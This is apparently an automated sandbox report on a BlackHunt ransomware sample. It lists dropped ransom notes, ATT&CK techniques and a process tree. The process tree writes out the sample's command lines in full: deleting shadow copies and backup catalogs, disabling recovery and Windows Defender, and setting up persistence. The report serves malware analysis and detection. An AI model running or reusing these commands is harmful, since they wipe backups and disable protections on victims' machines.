File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Indiana\Winamac	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\#BlackHunt_Private.key	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Indian\Christmas	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Tongatapu	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.directorywatcher_1.1.0.v20131211-1531.jar	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\content-foreground.png	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\circleround_glass.png	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bn_IN\LC_MESSAGES\#BlackHunt_ReadMe.hta	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File created	C:\Program Files\VideoLAN\VLC\locale\mr\LC_MESSAGES\#BlackHunt_ReadMe.hta	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\icons\time-span-16.png	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File created	C:\Program Files\Java\jre7\lib\zi\Australia\#BlackHunt_ReadMe.hta	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-modules-spi-actions.xml	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Dhaka	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Europe\Moscow	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\#BlackHunt_ReadMe.hta	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\db\lib\derbyLocale_ru.jar	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\gtkHandle.png	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File created	C:\Program Files\MSBuild\#BlackHunt_ReadMe.txt	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Etc\GMT-13	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File created	C:\Program Files\VideoLAN\VLC\locale\gd\LC_MESSAGES\#BlackHunt_ReadMe.txt	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File created	C:\Program Files\DVD Maker\es-ES\#BlackHunt_ReadMe.txt	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\bin\server\#BlackHunt_ReadMe.txt	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File created	C:\Program Files\VideoLAN\VLC\lua\modules\#BlackHunt_ReadMe.txt	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\#BlackHunt_ReadMe.hta	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File created	C:\Program Files\VideoLAN\VLC\lua\intf\#BlackHunt_ReadMe.txt	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Search.api	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\charsets.jar	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File created	C:\Program Files\VideoLAN\VLC\locale\cs\#BlackHunt_ReadMe.hta	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File created	C:\Program Files\VideoLAN\VLC\locale\zh_TW\LC_MESSAGES\#BlackHunt_ReadMe.txt	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File opened for modification	C:\Program Files\Java\jre7\lib\cmm\PYCC.pf	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Port-au-Prince	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.event_1.3.100.v20140115-1647.jar	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File opened for modification	C:\Program Files\Java\jre7\lib\security\java.policy	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\#BlackHunt_ReadMe.hta	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Indiana\Winamac	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File created	C:\Program Files\VideoLAN\VLC\locale\az\LC_MESSAGES\#BlackHunt_Private.key	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File created	C:\Program Files\VideoLAN\VLC\locale\brx\#BlackHunt_ReadMe.hta	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\fi\LC_MESSAGES\vlc.mo	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\fontconfig.properties.src	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2952	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
3068	vssadmin.exe
3804	vssadmin.exe
2452	vssadmin.exe
2404	vssadmin.exe
2576	vssadmin.exe
2600	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
1596	taskkill.exe

Modifies registry class 10 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	cmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	cmd.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2184	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
1700	mshta.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	2856	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
Token: SeRestorePrivilege	2856	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
Token: SeBackupPrivilege	2856	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
Token: SeTakeOwnershipPrivilege	2856	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
Token: SeAuditPrivilege	2856	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
Token: SeSecurityPrivilege	2856	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
Token: SeIncBasePriorityPrivilege	2856	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
Token: SeBackupPrivilege	2676	vssvc.exe
Token: SeRestorePrivilege	2676	vssvc.exe
Token: SeAuditPrivilege	2676	vssvc.exe
Token: SeBackupPrivilege	2468	cmd.exe
Token: SeRestorePrivilege	2468	cmd.exe
Token: SeSecurityPrivilege	2468	cmd.exe
Token: SeSecurityPrivilege	3620	wevtutil.exe
Token: SeSecurityPrivilege	3580	wevtutil.exe
Token: SeSecurityPrivilege	3792	wevtutil.exe
Token: SeBackupPrivilege	3620	wevtutil.exe
Token: SeBackupPrivilege	3792	wevtutil.exe
Token: SeBackupPrivilege	3580	wevtutil.exe
Token: SeSecurityPrivilege	3612	wevtutil.exe
Token: SeBackupPrivilege	3612	wevtutil.exe
Token: SeSecurityPrivilege	3964	wevtutil.exe
Token: SeBackupPrivilege	3964	wevtutil.exe
Token: SeDebugPrivilege	1596	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2856 wrote to memory of 2728	2856	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe	29
PID 2856 wrote to memory of 2728	2856	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe	29
PID 2856 wrote to memory of 2728	2856	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe	29
PID 2856 wrote to memory of 2728	2856	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe	29
PID 2856 wrote to memory of 2280	2856	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe	154
PID 2856 wrote to memory of 2280	2856	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe	154
PID 2856 wrote to memory of 2280	2856	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe	154
PID 2856 wrote to memory of 2280	2856	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe	154
PID 2856 wrote to memory of 2152	2856	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe	153
PID 2856 wrote to memory of 2152	2856	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe	153
PID 2856 wrote to memory of 2152	2856	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe	153
PID 2856 wrote to memory of 2152	2856	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe	153
PID 2856 wrote to memory of 2792	2856	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe	150
PID 2856 wrote to memory of 2792	2856	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe	150
PID 2856 wrote to memory of 2792	2856	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe	150
PID 2856 wrote to memory of 2792	2856	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe	150
PID 2856 wrote to memory of 2580	2856	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe	149
PID 2856 wrote to memory of 2580	2856	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe	149
PID 2856 wrote to memory of 2580	2856	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe	149
PID 2856 wrote to memory of 2580	2856	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe	149
PID 2856 wrote to memory of 2264	2856	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe	147
PID 2856 wrote to memory of 2264	2856	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe	147
PID 2856 wrote to memory of 2264	2856	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe	147
PID 2856 wrote to memory of 2264	2856	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe	147
PID 2728 wrote to memory of 2608	2728	cmd.exe	146
PID 2728 wrote to memory of 2608	2728	cmd.exe	146
PID 2728 wrote to memory of 2608	2728	cmd.exe	146
PID 2152 wrote to memory of 2956	2152	cmd.exe	159
PID 2152 wrote to memory of 2956	2152	cmd.exe	159
PID 2152 wrote to memory of 2956	2152	cmd.exe	159
PID 2856 wrote to memory of 2976	2856	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe	144
PID 2856 wrote to memory of 2976	2856	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe	144
PID 2856 wrote to memory of 2976	2856	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe	144
PID 2856 wrote to memory of 2976	2856	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe	144
PID 2280 wrote to memory of 1892	2280	cmd.exe	142
PID 2280 wrote to memory of 1892	2280	cmd.exe	142
PID 2280 wrote to memory of 1892	2280	cmd.exe	142
PID 2856 wrote to memory of 2720	2856	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe	141
PID 2856 wrote to memory of 2720	2856	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe	141
PID 2856 wrote to memory of 2720	2856	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe	141
PID 2856 wrote to memory of 2720	2856	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe	141
PID 2856 wrote to memory of 2744	2856	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe	140
PID 2856 wrote to memory of 2744	2856	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe	140
PID 2856 wrote to memory of 2744	2856	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe	140
PID 2856 wrote to memory of 2744	2856	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe	140
PID 2856 wrote to memory of 2576	2856	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe	138
PID 2856 wrote to memory of 2576	2856	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe	138
PID 2856 wrote to memory of 2576	2856	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe	138
PID 2856 wrote to memory of 2576	2856	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe	138
PID 2856 wrote to memory of 2584	2856	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe	137
PID 2856 wrote to memory of 2584	2856	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe	137
PID 2856 wrote to memory of 2584	2856	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe	137
PID 2856 wrote to memory of 2584	2856	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe	137
PID 2856 wrote to memory of 2696	2856	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe	134
PID 2856 wrote to memory of 2696	2856	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe	134
PID 2856 wrote to memory of 2696	2856	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe	134
PID 2856 wrote to memory of 2696	2856	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe	134
PID 2856 wrote to memory of 2096	2856	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe	133
PID 2856 wrote to memory of 2096	2856	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe	133
PID 2856 wrote to memory of 2096	2856	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe	133
PID 2856 wrote to memory of 2096	2856	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe	133
PID 2792 wrote to memory of 2448	2792	cmd.exe	131
PID 2792 wrote to memory of 2448	2792	cmd.exe	131
PID 2792 wrote to memory of 2448	2792	cmd.exe	131

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
"C:\Users\Admin\AppData\Local\Temp\80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2856
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2728
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2608
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2136
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:860
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:1348
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:2560
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:1996
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:2616
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:2044
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:3500
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:2396
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:3024
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:2460
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:1176
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:1180
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:1192
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:320
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:1660
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:1624
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe" /F
  2⤵
  PID:528
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:1752
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:612
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2752
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2916
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:1244
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2468
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:2612
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2936
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2960
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:464
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:2948
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:1068
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2556
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2096
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2696
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2584
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2576
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2744
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2720
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2976
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2264
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  PID:2580
- C:\Windows\System32\cmd.exe
